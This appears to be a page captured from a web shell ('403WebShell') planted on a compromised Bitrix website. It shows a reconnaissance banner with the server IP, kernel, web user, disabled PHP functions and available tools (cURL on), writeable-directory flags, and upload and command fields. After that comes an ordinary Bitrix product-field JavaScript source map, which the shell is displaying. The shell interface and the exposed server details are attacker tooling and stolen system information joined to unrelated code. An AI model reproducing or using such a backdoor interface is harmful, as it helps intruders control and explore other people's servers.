%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.117.137.252
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/productfield/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/ui/field/productfield/dist/productfield.bundle.js.map
{"version":3,"file":"productfield.bundle.js","sources":["../src/productfield.js"],"sourcesContent":["import {BaseField} from 'landing.ui.field.basefield';\nimport {ProductForm} from 'catalog.product-form';\nimport {DiscountType} from \"catalog.product-calculator\";\nimport {PageObject} from 'landing.pageobject';\nimport {Dom, Runtime, Type} from 'main.core';\nimport {BaseEvent} from 'main.core.events';\nimport {fetchEventsFromOptions} from 'landing.ui.component.internal';\n\nimport './css/style.css';\n\nexport class ProductField extends BaseField\n{\n\tconstructor(options)\n\t{\n\t\tsuper(options);\n\t\tthis.setEventNamespace('BX.Landing.UI.Field.ProductField');\n\t\tthis.subscribeFromOptions(fetchEventsFromOptions(options));\n\t\tthis.setLayoutClass('landing-ui-field-product');\n\n\t\tthis.onBasketChange = this.onBasketChange.bind(this);\n\n\t\tDom.append(this.getProductSelector().wrapper, this.input);\n\n\t\tthis.setProducts(this.options.items);\n\t\tconst root = PageObject.getRootWindow();\n\t\troot.BX.Event.EventEmitter\n\t\t\t.subscribe(this.getProductSelector(), 'ProductForm:onBasketChange', this.onBasketChange);\n\t}\n\n\tsetProducts(products)\n\t{\n\t\tthis.cache.set('products', Runtime.clone(products));\n\t}\n\n\tgetProducts(): Array<any>\n\t{\n\t\treturn this.cache.get('products') || [];\n\t}\n\n\tonBasketChange(event: BaseEvent)\n\t{\n\t\tconst data = event.getData();\n\t\tthis.setProducts(data.basket);\n\t\tthis.emit('onChange', {skipPrepare: true});\n\t}\n\n\tgetValue()\n\t{\n\t\treturn this.getProducts().reduce((acc, item) => {\n\t\t\tif (!Type.isNil(item.offerId) || !Type.isNil(item.fields.productId))\n\t\t\t{\n\t\t\t\tconst pics = [];\n\t\t\t\tif (item.image && item.image.path)\n\t\t\t\t{\n\t\t\t\t\tpics.push(item.image.path);\n\t\t\t\t}\n\t\t\t\telse if (item.image && item.image.preview)\n\t\t\t\t{\n\t\t\t\t\tlet ic = document.createElement('div');\n\t\t\t\t\tic.innerHTML = item.image.preview;\n\t\t\t\t\tic = ic.querySelector('img');\n\t\t\t\t\tif (ic && ic.src)\n\t\t\t\t\t{\n\t\t\t\t\t\tpics.push(ic.src);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tconst value = item.offerId || item.fields.productId;\n\t\t\t\tif (acc.some(item => item.value === value))\n\t\t\t\t{\n\t\t\t\t\treturn acc;\n\t\t\t\t}\n\n\t\t\t\tacc.push({\n\t\t\t\t\tlabel: item.fields.name,\n\t\t\t\t\tchangeablePrice: false,\n\t\t\t\t\tdiscount: item.fields.discount,\n\t\t\t\t\tpics,\n\t\t\t\t\tprice: item.fields.price,\n\t\t\t\t\tquantity: [],\n\t\t\t\t\tselected: false,\n\t\t\t\t\tvalue,\n\t\t\t\t});\n\t\t\t}\n\n\t\t\treturn acc;\n\t\t}, []);\n\t}\n\n\tgetProductSelector(): ProductForm\n\t{\n\t\treturn this.cache.remember('productSelector', () => {\n\t\t\tconst root = PageObject.getRootWindow();\n\t\t\treturn new root.BX.Catalog.ProductForm({\n\t\t\t\tiblockId: this.options.iblockId,\n\t\t\t\tshowResults: false,\n\t\t\t\tallowedDiscountTypes: [DiscountType.MONETARY],\n\t\t\t\tbuttonsPosition: 'BOTTOM',\n\t\t\t\tnewItemPosition: 'BOTTOM',\n\t\t\t\tbasket: this.options.items,\n\t\t\t});\n\t\t});\n\t}\n}"],"names":["ProductField","options","setEventNamespace","subscribeFromOptions","fetchEventsFromOptions","setLayoutClass","onBasketChange","bind","Dom","append","getProductSelector","wrapper","input","setProducts","items","root","PageObject","getRootWindow","BX","Event","EventEmitter","subscribe","products","cache","set","Runtime","clone","get","event","data","getData","basket","emit","skipPrepare","getProducts","reduce","acc","item","Type","isNil","offerId","fields","productId","pics","image","path","push","preview","ic","document","createElement","innerHTML","querySelector","src","value","some","label","name","changeablePrice","discount","price","quantity","selected","remember","Catalog","ProductForm","iblockId","showResults","allowedDiscountTypes","DiscountType","MONETARY","buttonsPosition","newItemPosition","BaseField"],"mappings":";;;;;;KAUaA,YAAb;CAAA;;CAEC,wBAAYC,OAAZ,EACA;CAAA;;CAAA;CACC,8GAAMA,OAAN;;CACA,UAAKC,iBAAL,CAAuB,kCAAvB;;CACA,UAAKC,oBAAL,CAA0BC,oDAAsB,CAACH,OAAD,CAAhD;;CACA,UAAKI,cAAL,CAAoB,0BAApB;;CAEA,UAAKC,cAAL,GAAsB,MAAKA,cAAL,CAAoBC,IAApB,2CAAtB;CAEAC,IAAAA,aAAG,CAACC,MAAJ,CAAW,MAAKC,kBAAL,GAA0BC,OAArC,EAA8C,MAAKC,KAAnD;;CAEA,UAAKC,WAAL,CAAiB,MAAKZ,OAAL,CAAaa,KAA9B;;CACA,QAAMC,IAAI,GAAGC,6BAAU,CAACC,aAAX,EAAb;CACAF,IAAAA,IAAI,CAACG,EAAL,CAAQC,KAAR,CAAcC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